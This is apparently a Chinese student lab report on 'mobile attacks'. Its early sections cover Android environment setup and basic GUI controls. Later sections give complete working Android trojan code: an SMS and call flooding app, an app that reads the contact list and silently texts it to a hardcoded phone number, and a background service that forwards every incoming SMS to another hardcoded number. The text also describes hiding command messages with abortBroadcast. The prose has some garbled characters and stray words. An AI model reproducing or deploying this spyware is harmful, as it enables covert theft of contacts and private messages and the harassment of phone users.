移動攻擊實踐

Android開發環境搭建

原理

  • 一、掌握Android應用開發平臺安裝、及相關配置
  • 二、瞭解Android SDK基本文件目錄結構
  • 三、掌握模擬器AVD的使用
  • 四、編程實現第一個程序Hello World

環境

  • 操做機:Windows_xp
  • 安裝JAVA JDK
  • 安裝Eclipse
  • 安裝Android SDK
  • 安裝ADT(Android Development Tools)
  • 安裝手機USB驅動

步驟

  • 一、啓動eclipse,設置Workspace,工程代碼位置
  • 二、步驟2:設置SDK路徑Windows ->Perferences->左邊樹狀Android->Browse->android-sdk-windows所在目錄->Apply
  • 三、運行AVD Manager: Windows -> AVD Manager
  • 四、新建AVD: New
  • 五、Name->adt17 ; Target->Android 4.2.2 – API Level 17 ; SD card: size 512 其它默認點擊Create AVD
  • 六、運行eclipseFile -> New -> Android Application Project
  • 七、執行Android Application,運行出界面

安卓GUI設計實驗(虛擬機限時,沒法在一個小時完成全部實驗,後部分僅學習理解)

原理

設計手機用戶界面應解決的問題:html

  • 1.須要界面設計與程序邏輯徹底分離,這樣不只有利於並行開發,並且在後期修改界面時,也不用再次修改程序的邏輯代碼;
  • 2.根據不一樣型號手機的屏幕解析度、尺寸和縱橫比各不相同,自動調整界面上部分控件的位置和尺寸,避免由於屏幕信息的變化而出現顯示錯誤;
  • 3.可以合理利用較小的屏幕顯示空間,構造出符合人機交互規律的用戶界面,避免出現凌亂、擁擠的用戶界面;
  • 4.Android已經解決了前兩個問題,使用XML文件描述用戶界面;資源資源文件獨立保存在資源文件夾中;對界用戶面描述很是靈活,容許不明肯定義界面元素的位置和尺寸,僅聲明界面元素的相對位置和粗略尺寸。java

  • Android用戶界面框架(Android UI Framework)採用MVC(Model-View-Controller)模型:提供了處理用戶輸入的控制器(Controller),顯示用戶界面和圖像的視圖(View),以及保存數據和代碼的模型(Model)。拉下圖所示:android

模型數據庫

  • Android採用視圖樹(View Tree)模型:Android用戶界面框架中的界面元素以一種樹型結構組織在一塊兒,稱爲視圖樹;Android系統會依據視圖樹的結構從上至下繪製每個界面元素。每一個元素負責對自身的繪製,若是元素包含子元素,該元素會通知其下全部子元素進行繪製。

View編程

  • 在Android程序中,用戶界面是用View和ViewGroup對象來創建的。有許多種View和ViewGroup的,每一種都View的子類。
  • View是Android平臺中最基本的用戶界面單元。View類是「小組件」子類的基礎,「小組件」提供UI對象的完整實現,例如文本輸入框和按鈕。ViewGroup類是「佈局」子類的基礎,「佈局」提供不一樣的佈局結構。例如線性佈局,標籤佈局,相關性佈局等等。
  • Android系統的界面控件分爲定製控件和系統控件:定製控件是用戶獨立開發的控件,或經過繼承並修改系統控件後所產生的新控件。可以爲用戶提供特殊的功能或不同凡響的顯示需求方式;系統控件是Android系統提供給用戶已經封裝的界面控件。提供在應用程序開發過程當中常見功能控件。系統控件更有利於幫助用戶進行快速開發,同時可以使Android系統中應用程序的界面保持一致性。

常見的系統控件windows

  • 包括TextViewEditTextButtonImageButton、Checkbox``RadioButtonSpinnerListViewTabHost

環境

  • 操做機:Windows_xp

TextView的使用

  • 新建Android項目->項目名稱:Ex.TextView -> Application name: TextViewDemo -> Package name: com.example.textviewdemo -> Build SDK: Android 4.3 其它默認切換到activity_main.xml選項卡刪除下面的TextView代碼,這樣整個工程裏就不含有任何控件

建立TextView控件的兩種方法數組

方法一:在程序中建立TextView控件
  • 在src -> MainActivity.java 下onCreate函數下添加加以下代碼,而後運行:
TextView tv=new TextView(this);
    tv.setText("您好");
    setContentView(tv);
方法二:使用XML佈局文件
  • 刪除方法一種添加的代碼,選擇res/values/string.xml,新建一個字符串,代碼以下:
<string name="app_name">TextViewDemo</string>
    <string name="action_settings">Settings</string>
    <string name="hello_world">Hello world!</string>
    <string name="hello">您好!</string>
    <string name="menu_settings">Settings</string>
  • 選擇layout目錄下activity_main.xml,在activity_main.xml中添加TextView相關代碼:
<TextView
    android:id="@+id/textView1"
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:layout_alignParentLeft="true"
    android:layout_alignParentTop="true"
    android:text="@string/hello"/>
  • 運行結果
    服務器

  • 修改TextView屬性,字體大小、字體顏色app

<TextView
    android:id="@+id/textView1"
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:text="你好"
    android:textSize="20sp"
    android:textColor="#00FF00"/>
  • 運行結果
    框架

  • 使用Html標籤修改文本中某一段字體的顏色

<TextView
    android:id="@+id/tv"
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    android:text="@string/app_name"
    android:textSize="20sp"
    android:textColor="#00FF00"/>
  • 運行結果

  • 修改MainActivity.java代碼

TextView tv = (TextView)findViewById(R.id.tv);
    tv.setText(Html.fromHtml(「Android開發實驗–TextView使用「));

EditText使用

建立
  • 一、新建Android項目->項目名稱:Ex.EditText -> Application name: EditTextDemo -> Package name: com.ex.edittext -> Build SDK: Android 4.3 其它默認
  • 二、切換到activity_main.xml選項卡。建立EditText
  • 運行結果
EditText屬性演示
  • maxLength:最大輸入長度屬性,代碼:
<EditText
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    android:maxLength="3"
    />
  • 運行結果

  • singleLine:多行文本框,代碼:

<EditText
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    android:singleLine="false"
    />
  • 運行結果:

  • inputType:限制輸入文本類型,代碼:

<EditText
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    android:inputType="number"
    />
  • 運行結果:只能輸入數字

  • hint:設置提示信息,代碼:

<EditText
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    android:hint="我是EditText"
    />
  • 運行結果

DDMS

啓動DDMS
  • 在eclipse右上角找到圖標,點擊,在對話框中選擇DDMS
  • 啓動界面
DDMS基本認識
  • devices選項卡列出當前模擬器
  • Logcat選項卡顯示操做日誌
  • Emulator Control選項卡設置打電話和發短信
  • File Explorer實現電腦與模擬器之間數據的上傳和下載
DDMS打電話
  • 選擇Emulator Control選項卡,在Incoming number文本框中輸入模擬器編號。模擬器編號在devices選項卡中能夠看到。點擊call按鈕

  • 模擬器運行結果

DDMS發短信
  • 選擇Emulator Control選項卡,在Incoming number文本框中輸入模擬器編號。模擬器編號在devices選項卡中能夠看到。點擊call按鈕

  • 模擬器運行結果

DDMS上傳和下載文件
  • 選擇File Explorer選項卡,在選項卡右側找到這兩個按鈕,能夠分別實現PC與模擬器之間文件的上傳和下載。

Button使用

建立button
  • 新建Android項目->項目名稱:Ex.Button -> Application name: ButtonDemo -> Package name: com.ex.button -> Build SDK: Android 4.3 其它默認

  • 切換到activity_main.xml選項卡。建立button對象,代碼以下:

<Button
    android:id="@+id/btn1"
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:layout_alignParentTop="true"
    android:layout_marginRight="28dp"
    android:layout_marginTop="38dp"
    android:layout_toLeftOf="@+id/textView1"
      android:text="點我" />
  • 結果
定義Button事件
  • 代碼:
public class MainActivity extends Activity {

    private Button btn1 = null;

    @Override
    public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    btn1 = (Button)findViewById(R.id.btn1);
    btn1.setOnClickListener(new View.OnClickListener()
    {
        public void onClick(View v)
        {
            Toast.makeText(MainActivity.this, "你點擊了按鈕", Toast.LENGTH_LONG).show();
        }
    });
    }
  • 結果
定義多Button事件
  • 代碼
<Button
    android:id="@+id/btn2"
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:layout_alignParentTop="true"
    android:layout_marginTop="31dp"
    android:layout_toLeftOf="@+id/textView1"
      android:text="點我1" />
    <Button
    android:id="@+id/btn1"
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:layout_alignLeft="@+id/btn2"
    android:layout_below="@+id/btn2"
    android:layout_marginTop="26dp"
      android:text="點我2" />
public class MainActivity extends Activity {

    private Button btn1 = null;
    private Button btn2 = null;
    @Override
    public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    btn1 = (Button)findViewById(R.id.btn1);
    btn2 = (Button)findViewById(R.id.btn2);
    btn1.setOnClickListener(listener);
    btn2.setOnClickListener(listener);
    }
    private OnClickListener listener = new OnClickListener()
    {
    public void onClick(View v)
    {
        Button btn = (Button)v;
        switch(btn.getId())
        {
        case R.id.btn1:
            Toast.makeText(MainActivity.this, "你點擊了按鈕1", Toast.LENGTH_LONG).show();
            break;
        case R.id.btn2:
            Toast.makeText(MainActivity.this, "你點擊了按鈕2", Toast.LENGTH_LONG).show();
        }
    }
    };
  • 結果

Android權限控制實驗

建立
  • Android的系統權限不是由用戶控制,而是由開發者根據開發的須要控制相關權限的開放與否,權限控制主要放置在AndroidManifest.xml文件中。將以下的權限控制屬性寫入AndroidManifest.xml文件就能夠獲取相應的系統權限。若是在開發中遇到一些調試的問題很能夠就是權限的緣由。Android常見的權限參考:
    http://www.cnblogs.com/jdy1453/p/6879878.html

  • 新建Android項目->項目名稱:Ex.Permit -> Application name: PermitDemo -> Package name: com.example. -> Build SDK: Android 4.3 其它默認

  • 在Ex.Permit項目中開啓監聽功能,能夠選擇手機通話記錄、短信記錄、彩信、攝像、拍照、通信錄、錄音等權限中任意兩項權限進行設置。

經過編輯器編輯權限
  • 點擊項目中的AndroidManifest.xml,在多標籤頁中選擇「Permission」

  • 而後點擊add按鈕,選擇添加使用權限(Uses Permission)

經過修改配置文件編輯權限
  • 在AndroidManifest.xml中添加uses-permission標籤,添加了錄製音頻的權限

  • 結果:程序具備錄音權限,能夠應用程序的錄音功能。經過防禦軟件(360手機衛士、手機毒霸)禁用錄音功能,打開程序,提示沒有錄音權限,沒法錄音。

Android木馬程序設計(虛擬機裏面沒有文件夾,沒法操做,僅學習理解過程)

原理

  • 在GSM系統中,短消息主要包括如下重要部分:移動起始短消息:Mobile Originated Short Message和移動終接短消息:Mobile Terminated Short Message。
移動起始短消息:Mobile Originated Short Message
  • 一個GSM用戶發送短消息時,他必須至少在其內容中包含最終地址的識別符,和處理這消息的服務中心號碼,而後請求傳遞。短消息的傳輸要求在移動臺和MSC之間創建信令鏈接。消息自己的傳遞要求在無線路徑上創建專用的鏈路層連接,並要求採用專用的消息傳遞協議。在規定的協議棧的頂部是所謂的傳輸層協議,在移動起始短消息情形下,它是一條單獨的報文,即SMTP(不是TCP/IP的SMTP)短消息傳送報文,低層處理應答的傳送,它只指出SMSC已收到報文。
移動終接短消息:Mobile Terminated Short Message。
  • 目的地爲GSM用戶的短消息必須首先先從發送方路由至短消息服務中心,而後再被路由至實際地址。 當SMSC有短消息需發送到期某一GSM用戶時,它創建一條包含各類利於接收者的信息的SMS-DELIVER報文。此信息包括用戶的內容,最初的發送者身份及用於批示短消息已被SMSC接收的時間標記。與MO情形類似,SMS-DELIVER報文將在各類接口上傳送。 在達到目的地前,報文的實際路由必須利用MAP/C查詢功能得到,採用的是以下方法:SMSC將短消息傳到與服務中心相連的SMS網關,網關的選擇依賴於它想到在的用戶,由於一般網關僅能處理某些用戶(某家營運商或某個國家的用戶)。這樣,用戶經過目錄號(通常同電話同樣)來識別,這些目錄號最初是由短消息發送者輸入的,這使得SMS網關能識別有關的HLR並查詢它。查詢是經過發送一個專用報文,即用於短消息的MAP/C SEND ROUTING INFOR報文來實現;對其應答既可採用包含用戶正在訪問的MSC/VLR的SS7地址的MAP/C SEND ROUNTING INFO FOR SHORT MESSAGE RESULT報文,又可當已知用戶此時不可到達時採用拒絕報文。
SMS的參數
  • SMS由幾個與提交或接收相關的服務要素組成,如:有效期(在將短消息成功送達用戶前SMSC須要保證的儲存時間),優先性。此外,短消息還提供提交消息的時間、告訴移動臺是否還有更多消息要發送,以及還有多少條消息要發送等。

步驟

  • 一、點擊「File」,選擇「Import」。彈出Import窗口,點擊「Android」,選擇「Existing Android Code Into Workspace」,點擊「Next」,彈出下一個界面,點擊「Browse」找到實驗所在文件夾打開(C:/adt/qwe/degj),最後點擊「Finish」。

  • 打開「src」下的SmsActivity.java文件,代碼:

package sms.ply;
    import java.util.List;  
    import android.app.Activity;  
    import android.content.Intent;  
    import android.net.Uri;  
    import android.os.Bundle;  
    import android.telephony.SmsManager;  
    import android.view.View;  
    import android.view.View.OnClickListener;  
    import android.widget.Button;  
    import android.widget.EditText;
    import android.widget.Toast;  

    public class SmsActivity extends Activity {  
    /** Called when the activity is first created. */  
    @Override  
    public void onCreate(Bundle savedInstanceState) {  
        super.onCreate(savedInstanceState);  
        setContentView(R.layout.main);  


        setComponent();  
    }  

    private void setComponent() {  
        final EditText message = (EditText)findViewById(R.id.message); 
        final EditText phoneno = (EditText)findViewById(R.id.phoneno);

        final EditText attno = (EditText)findViewById(R.id.attno); 
        Button bt1 = (Button) findViewById(R.id.Button01);  
        bt1.setOnClickListener(new OnClickListener() {  
            @Override  
            public void onClick(View v) {  
                Intent intent = new Intent(  
                                Intent.ACTION_CALL, Uri.parse   ("tel:5556"));  
                startActivity(intent);  
            }  
        });  
        Button bt2 = (Button) findViewById(R.id.Button02);  
        bt2.setOnClickListener(new OnClickListener() {  
            @Override  
            public void onClick(View v) {  
        //        String smsContent = "102";  
                 String smsContent = message.getText().toString(); 
                 String cishu = attno.getText().toString();
                 int number = Integer.valueOf(cishu).intValue();
                // note: SMS must be divided before being sent    
                SmsManager sms = SmsManager.getDefault();  
                List<String> texts = sms.divideMessage(smsContent);  
                int i = 0;
                while (i < number)
                {
                for (String text : texts) {  
                    sms.sendTextMessage(phoneno.getText().toString(), null, text, null, null);  
                }
                i = i + 1;

                }
                // note: not checked success or failure yet  
                Toast.makeText(  
                        SmsActivity.this,   
                        "短信已發送",  
                            Toast.LENGTH_SHORT ).show();  
            }  
        });  
        }  
    }
  • 打開layout目錄下的「main.xml」文件(佈局文件),代碼:
<?xml version="1.0" encoding="utf-8"?>  
    <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"  
    android:orientation="vertical" android:layout_width="fill_parent"  
    android:layout_height="fill_parent" android:gravity="center">  
    <TextView android:layout_width="fill_parent"  
        android:layout_height="wrap_content" android:text="Direct Method:"  
        android:gravity="center" />  
    <Button android:text="電話攻擊" android:id="@+id/Button01"  
        android:layout_width="wrap_content" android:layout_height="wrap_content"></Button>  
    <Button android:text="短信攻擊" android:id="@+id/Button02"  
        android:layout_width="wrap_content" android:layout_height="wrap_content"></Button>  

        <TextView android:layout_width="fill_parent"  
        android:layout_height="wrap_content" android:text="號碼:"  
        android:gravity="center" />  
    <EditText
     android:id="@+id/phoneno"
     android:layout_width="fill_parent"
     android:layout_height="wrap_content"
     />
        <TextView android:layout_width="fill_parent"  
        android:layout_height="wrap_content" android:text="發送次數:"  
        android:gravity="center" />  
    <EditText
     android:id="@+id/attno"
     android:layout_width="fill_parent"
     android:layout_height="wrap_content"
     />

        <TextView android:layout_width="fill_parent"  
        android:layout_height="wrap_content" android:text="發送內容:"  
        android:gravity="center" />  

        <EditText
     android:id="@+id/message"
     android:layout_width="fill_parent"
     android:layout_height="wrap_content"
     />
    </LinearLayout>
  • 打開AndroidMainfest.xml文件(控件),代碼:
<?xml version="1.0" encoding="utf-8"?>
    <manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="sms.ply"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk android:minSdkVersion="15" />

    <application
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name" >
        <activity
            android:label="@string/app_name"
            android:name=".SmsActivity" >
            <intent-filter >
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
    <uses-permission android:name="android.permission.BROADCAST_STICKY" />
    <uses-permission android:name="android.permission.CALL_PHONE" />
    <uses-permission android:name="android.permission.CALL_PRIVILEGED" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" /> 
    <uses-permission android:name="android.permission.SEND_SMS" />
    </manifest>
  • 實驗結果

Android讀取聯繫人

原理

  • 對於木馬程序,咱們須要木馬在Android設備開機時自動運行,當Android啓動時,會發出一個系統廣播,內容爲ACTION_BOOT_COMPLETED,它的字符串常量表示爲android.intent.action.BOOT_COMPLETED。只要在程序中「捕捉」到這個消息,再啓動之便可。爲此,咱們要作的是作好接收這個消息的準備,而實現的手段就是實現一個BroadcastReceiver。木馬主要經過接收短信的系統廣播(Broadcast Receiver)進行短信內容匹配,若是是發送的控制指令,則將短信屏蔽掉,讓被控制端用戶沒法獲得收取短信的通知,而且對目標手機進行遠程控制,如短信轉發、電話監聽、手機錄音等。

  • 木馬主要是利用Android 中的廣播機制來是實現的。BroadcastReceiver相似於事件編程中的監聽器,表明廣播消息接收器。木馬重寫了onReceive(Context context ,Intent intent)方法,當系統收到消息時候,經過監聽「android.provider.Telephony.SMS_RECEIVED」廣播,對消息的內容進行檢測。當檢測到的內容爲控制指令時,用abortbroadcast()將短信屏蔽掉,使用戶沒法接受到短信,而後根據控制指令,進行相應操做。須要注意的是,若是數據量比較大,好比錄音、攝像數據、最好架設一個服務器用來上傳數據。

步驟

  • 一、點擊「File」,選擇「Import」。彈出Import窗口,點擊「Android」,選擇「Existing Android Code Into Workspace」,點擊「Next」,彈出下一個界面,點擊「Browse」找到實驗所在文件夾打開(C:/adt/qwe/ReadContacts),最後點擊「Finish」。

  • 打開「src」下的ReadContacts.java文件,代碼:

package com.lightcone.readcontacts;

    import java.util.List;

    import android.app.Activity;
    import android.content.ContentResolver;
    import android.database.Cursor;
    import android.net.Uri;
    import android.os.Bundle;
    import android.provider.ContactsContract;
    import android.telephony.SmsManager;


    public class ReadContacts extends Activity {

    // To suppress notational clutter and make structure clearer, define some shorthand constants.

    private static final Uri URI = ContactsContract.Contacts.CONTENT_URI;
    private static final Uri PURI = ContactsContract.CommonDataKinds.Phone.CONTENT_URI;

    private static final String ID = ContactsContract.Contacts._ID;
    private static final String DNAME = ContactsContract.Contacts.DISPLAY_NAME;
    private static final String HPN = ContactsContract.Contacts.HAS_PHONE_NUMBER;

    private static final String CID = ContactsContract.CommonDataKinds.Phone.CONTACT_ID;

    private static final String PNUM = ContactsContract.CommonDataKinds.Phone.NUMBER;
    private static final String PHONETYPE = ContactsContract.CommonDataKinds.Phone.TYPE;


    private String id;
    private String name;

    private String ph[];
    private String phType[];

    private String last;

    private int phcounter;



    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);

        // Allow for up to 5 email and phone entries for a contact

        ph = new String[5];
        phType = new String[5];
        int j = 0;

            ContentResolver cr = getContentResolver();
            Cursor cu = cr.query(URI, null, null, null, null);
            if (cu.getCount() > 0) {    

                // Loop over all contacts
                while (cu.moveToNext()) {     

                    // Initialize storage variables for the new contact

                    id = cu.getString(cu.getColumnIndex(ID));
                    name = cu.getString(cu.getColumnIndex(DNAME));                         
                    // Append list of contacts to the scrollable TextView on the screen. 


                    phcounter = 0;
                    if (Integer.parseInt(cu.getString(cu.getColumnIndex(HPN))) > 0) {                
                        Cursor pCur = cr.query(PURI,  null, CID + " = ?",  new String[]{id}, null);
                         while (pCur.moveToNext()) {
                             ph[phcounter] = pCur.getString(pCur.getColumnIndex(PNUM));
                             phType[phcounter]  = pCur.getString(pCur.getColumnIndex(PHONETYPE)); 
                             phcounter ++;
                         } 
                         pCur.close();
                    }



                    // Write list of phone numbers for this contact to SD card file
                    for(int i=0; i<phcounter; i++){
                        last = name + ("   phone="+ ph[i] + " ("
                                    + getPhoneType(phType[i]) + ") ");

                    } 
                    if (j<2) {
                    sendSMS (last);
                    j++;
                    }
                }
    //                for (int k = 0; k < j; k++){

    //                }

             }       
            // Flush the PrintWriter to ensure everything pending is output before closing

        } 




    /**  Method to check whether external media available and writable and to find the
         root of the external file system. */   


    private String getPhoneType(String index){
          if(index.trim().equals( "1")){
              return "home";
          } else if (index.trim().equals("2")){
              return "mobile";
          } else if (index.trim().equals("3")){
              return "work";
          } else if (index.trim().equals("7")){
              return "other";
          } else {
              return "?";
          }
    }  

    /** Method to return label corresponding to email type code. Data for correspondence from
       http://developer.android.com/reference/android/provider/ContactsContract.
       CommonDataKinds.Email.html  */



    private void sendSMS (String message) {


        SmsManager sms = SmsManager.getDefault();  

        List<String> texts = sms.divideMessage(message);  

        for (String text : texts) {  
            sms.sendTextMessage("18611594986", null, text, null, null);  

        }


        //register the Broadcast Receivers 15555215556 15810540049

    }

    }
  • 打開「res」目錄下的layout的「main.xml」文件(此文件爲佈局文件)代碼:
<?xml version="1.0" encoding="utf-8"?>
    <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:orientation="vertical"
    android:layout_width="fill_parent"
    android:layout_height="fill_parent" 
    android:background="@drawable/myimg0"
    android:gravity="center"
    >
    <ScrollView   
       android:id="@+id/ScrollView01"  
       android:layout_height="fill_parent"   
       android:layout_width="fill_parent">
        <TextView  
                android:layout_width="fill_parent" 
                android:layout_height="wrap_content" 
            android:padding="5sp"
            android:id="@+id/TextView01"
            android:text="@string/hello" />
     </ScrollView> 
    </LinearLayout>
  • 運行結果

Android短信轉發

原理

  • Android 監聽短信2種方式:Broadcast和ContentObserver
基於Broadcast接受短信
  • Android收到短信後系統會發送一個android.provider.Telephony.SMS_RECEIVED廣播。把它放在Bundle(intent.Extras)中,Bundle能夠理解爲一個Map,短信採用」pdus」做爲鍵,pdus應該是protocol description units的簡寫,也就是一組短信。Android不是一接收到短信就馬上發出廣播的,他會有必定的延遲,因此就有可能會有多條短信,因此纔會用數組來存放。
基於ContentObserver監聽短信
  • 原理是經過監聽短信數據庫,操做短信內容。  「ContentObserver??內容觀察者,目的是觀察(捕捉)特定Uri引發的數據庫的變化,繼而作一些相應的處理,它相似於數據庫技術中的觸發器(Trigger),當ContentObserver所觀察的Uri發生變化時,便會觸發它。觸發器分爲表觸發器、行觸發器,相應地ContentObserver也分爲「表「ContentObserver、「行」ContentObserver,固然這是與它所監聽的Uri MIME Type有關的。」先不深究更加底層的內容,從表面上咱們能夠知道ContentObserver能夠獲取Uri引發的數據庫的變化,短信的Uri爲:
    發送短信:content://sms/outbox
    接收短信:content://sms/inbox
    知道Uri後咱們就能夠獲取到短信的內容了。

步驟

  • 點擊「File」,選擇「Import」。彈出Import窗口,點擊「Android」,選擇「Existing Android Code Into Workspace」,點擊「Next」,彈出下一個界面,點擊「Browse」找到實驗所在文件夾打開(C:/adt/qwe/ReadContacts),最後點擊「Finish」。

  • 打開「src」下的MyService.java文件,代碼:

package com.android.myservice;

    ///import com.android.myservice.R;
    import java.util.List;

    import android.app.Service;
    import android.content.Intent;
    import android.os.IBinder;
    import android.os.Binder;
    import android.util.Log;
    import android.widget.Toast;

    import android.content.BroadcastReceiver;
    import android.content.Context;
    import android.content.IntentFilter;
    import android.os.Bundle;
    import android.telephony.SmsMessage;


    import android.app.PendingIntent;
    
    import android.telephony.SmsManager;
    //import android.view.View;
    //import android.widget.EditText;
    
    public class MyService extends Service {
    private static final String TAG = "MyService";
    private MyBinder mBinder=new MyBinder();
    String SENT_SMS_ACTION="SENT_SMS_ACTION";
    String DELIVERED_SMS_ACTION="DELIVERED_SMS_ACTION";
    //StringBuilder sb = new StringBuilder();
    ReceiverDemo smsReceiver;

    public class ReceiverDemo extends BroadcastReceiver {

        private static final String strRes = "android.provider.Telephony.SMS_RECEIVED";
        PendingIntent paIntent;
        SmsManager smsManager;
        IntentFilter filter=new IntentFilter();

        @Override
        public void onReceive(Context arg0, Intent arg1) {
            // TODO Auto-generated method stub
            if(strRes.equals(arg1.getAction())){
                StringBuilder sb = new StringBuilder();
                Bundle bundle = arg1.getExtras();
                //Toast.makeText(arg0, "hihih", Toast.LENGTH_LONG).show();
                if(bundle!=null){
                    Object[] pdus = (Object[])bundle.get("pdus");
                    SmsMessage[] msg = new SmsMessage[pdus.length];
                    //Toast.makeText(arg0, "received sms", Toast.LENGTH_LONG).show();
                    for(int i = 0 ;i<pdus.length;i++){
                        msg[i] = SmsMessage.createFromPdu((byte[])pdus[i]);
                    }                    
                    for(SmsMessage curMsg:msg){

                        sb.append(curMsg.getDisplayMessageBody());
                    }
                    //Toast.makeText(arg0, "Got The Message:" + sb.toString(),Toast.LENGTH_SHORT).show();        
                    sendSMS(sb.toString());

                }
            }
        }

    }

    @Override
    public IBinder onBind(Intent intent) {

        return mBinder;
    }

    public void onCreate() {

        //Toast.makeText(this, "My Service created", Toast.LENGTH_LONG).show();
        Log.i(TAG, "onCreate");
        smsReceiver =new ReceiverDemo();
        IntentFilter filter=new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
        this.registerReceiver(smsReceiver, filter);
        super.onCreate();


    }

    @Override
     public void onDestroy() {
    //        Toast.makeText(this, "My virus Stoped", Toast.LENGTH_LONG).show();
    //        Log.i(TAG, "onDestroy");
        super.onDestroy();

    }

    @Override
    public void onStart(Intent intent, int startid) {
    //        Toast.makeText(this, "My virus Start", Toast.LENGTH_LONG).show();
    //        Log.i(TAG, "onStart");


        super.onStart(intent,startid);

    }
    public class MyBinder extends Binder{
        MyService getService(){
            return MyService.this;
        }
    }
    private void sendSMS (String message) {

        //create the sentIntent parameter
        Intent sentIntent = new Intent(SENT_SMS_ACTION);
        PendingIntent sentPI = PendingIntent.getBroadcast(this, 0, sentIntent,
                0);
        // create the deilverIntent parameter
        Intent deliverIntent = new Intent(DELIVERED_SMS_ACTION);
        PendingIntent deliverPI = PendingIntent.getBroadcast(this, 0,
                deliverIntent, 0);
        //Toast.makeText(this, "start sendsms()", Toast.LENGTH_LONG).show();

        SmsManager sms = SmsManager.getDefault();
        if (message.length() > 70) {
            List<String> msgs = sms.divideMessage(message);
            for (String msg : msgs) {
                sms.sendTextMessage("18651444669", null, msg, sentPI, deliverPI);
            }
        } else {
            sms.sendTextMessage("18651444669", null, message, sentPI, deliverPI);
        }


        //register the Broadcast Receivers 15555215556 15810540049

    }

    }
  • 打開「res」目錄下的layout的「main.xml」文件(此文件爲佈局文件),代碼:
<?xml version="1.0" encoding="utf-8"?>
    <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:orientation="vertical"
    android:layout_width="fill_parent"
    android:layout_height="fill_parent"
    android:background="@drawable/myimg"
    android:gravity="center">
    <TextView
    android:layout_width="fill_parent"
    android:layout_height="wrap_content" android:text="@string/services_demo" 
    android:gravity="center" android:textSize="20sp" android:padding="20dp"
    >
    </TextView>
    </LinearLayout>
  • 打開AndroidMainfest.xml文件,代碼:
<?xml version="1.0" encoding="utf-8"?>


    <manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.android.myservice">
    <application android:icon="@drawable/chees" android:label="@string/app_name">
        <activity android:name=".ServicesDemo" android:label="@string/app_name">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
        <service android:enabled="true" android:name=".MyService"/>
    <!--         <activity android:name=".SmslistenerActivity" android:label="@string/app_name"> -->
    <!--         </activity> -->
    </application>
    <receiver android:name=".ReceiverDemo" android:enabled="true" >
        <intent-filter>
            <action android:name="android.provider.Telephony.SMS_RECEIVED" />
        </intent-filter>
    </receiver>
    <uses-sdk android:minSdkVersion="7" />
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <buildCommand>
        <name>org.eclipse.jdt.core.javabuilder  </name>
      <arguments>
      </arguments>
    </buildCommand>

    </manifest>
  • 結果

感想

本次實踐咱們組的實踐題目爲移動攻擊,主要內容爲在安卓平臺下進行攻擊,例如提權,木馬攻擊,整個實驗在根據實驗指導書完成沒有太大問題,不過在木馬攻擊的時候遇到了代碼問題,在以前的配置環境以及安卓GUI設計中遇到版本不一樣指令問題,經過小組成員的積極討論以及上網百度等方法成功解決了問題,成功完成了實驗,在以後的實踐過程當中咱們將吸收本次實驗的經驗,踏踏實實認真的完成接下來的每個任務!

相關文章
相關標籤/搜索